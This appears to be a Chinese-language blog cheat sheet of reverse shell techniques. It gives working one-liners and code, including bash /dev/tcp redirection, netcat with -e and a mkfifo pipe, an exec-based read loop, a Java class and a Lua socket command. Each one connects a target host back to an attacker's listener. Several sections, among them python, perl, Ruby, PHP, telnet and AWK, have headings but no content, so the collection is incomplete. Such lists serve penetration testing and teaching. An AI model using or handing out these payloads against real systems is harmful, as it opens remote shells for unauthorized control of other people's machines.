几种常见反弹shell汇总

文章目录

• • • 0x01. bash
    • 0x02. nc(netcat)反弹
    • 0x03. telnet反弹
    • 常见脚本反弹
    • • 1. python
      • 2. perl
      • 3. Ruby
      • 4. PHP
      • 5. Java
      • 6. Lua
      • 7. AWK 反弹
    • Reference

0x01. bash

1. 在攻击主机上执行端口监听：

nc -lvvp port				//port 为攻击主机端口号，并且此端口号没有被占用
           

1. 在目标主机上执行：

bash -i >& /dev/tcp/攻击主机ip/port 0>&1				//port 为攻击主机端口号
           

1. 解释：

bash -i   打开一个交互的bash

>&   将标准错误输出重定向到标准输出

/dev/tcp/x.x.x.x/port   意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip，port为端口

0>&1   标准输入重定向到标准输出，实现你与反弹出来的shell的交互
           

/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。同理，Linux中还存在/dev/udp/。

其他版本：

exec 5<>/dev/tcp/x.x.x.x/9999

cat <&5 | while read line; do $line 2>&5 >&5; done

           

• 第一条命令 建立与x.x.x.x:9999的tcp连接，并将标准输入输出作为device 5的标准输入输出
• 第二条cat <&5 获取device5的输入;

  while read line; do $line 2>&5 >&5

  一旦获取到命令便运行 然后将标准输入输出以及标准错误输出到device5中

0x02. nc(netcat)反弹

1. 在攻击主机上执行端口监听：

nc -lvvp port				//port 为攻击主机端口号，并且此端口号没有被占用
           

1. 在目标主机上执行：

nc -e /bin/bash 攻击主机ip port
           

1. 还可以在目标主机上这样执行

nc x.x.x.x 1234|/bin/bash|nc x.x.x.x 4321				//在攻击主机上打开两个终端，分别监听 1234 和 4321 端口，得到反弹shell后，1234 终端 输入命令， 4321 终端就会获得执行相应命令后的结果
           

1. 由于现在很多主机上可能没有netcat了，所以如果遇到虽然有netcat 但不支持

   nc -e /bin/bash 攻击主机ip port

   中

   -e

   选项的主机，还可以这样反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
           

• rm /tmp/f

  删除命令

• mkfifo /tmp/f;

  在tmp目录下写fifo文件f

• /bin/sh -i 2>&1

  将/bin/sh 的标准错误重定向到标准输出

• nc x.x.x.x 2333 >/tmp/f

  将nc监听到的输入 输入到fifo

0x03. telnet反弹

1. 在攻击主机上打开两个终端分别监听 1234 和 4321端口,(确保端口开放，并且不被占用)，得到反弹shell后，1234 终端 输入命令， 4321 终端就会获得执行相应命令后的结果：

nc -lvvp 1234

nc -lvvp 4321
           

1. 在目标主机上执行：

常见脚本反弹

以上脚本是在目标主机上执行，其中 x.x.x.x 均为攻击主机ip，并且需要提前在攻击主机上进行监听相关端口,接下来就不再赘述

1. python

2. perl

方法一：

方法二：

3. Ruby

4. PHP

5. Java

public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}
           

6. Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
           

7. AWK 反弹

攻击的机器监听，在收到shell的时候不可以输入enter，不然会断开

Reference

• https://www.bertramc.cn/2017/07/14/38.html
• https://blog.csdn.net/wanzt123/article/details/81879599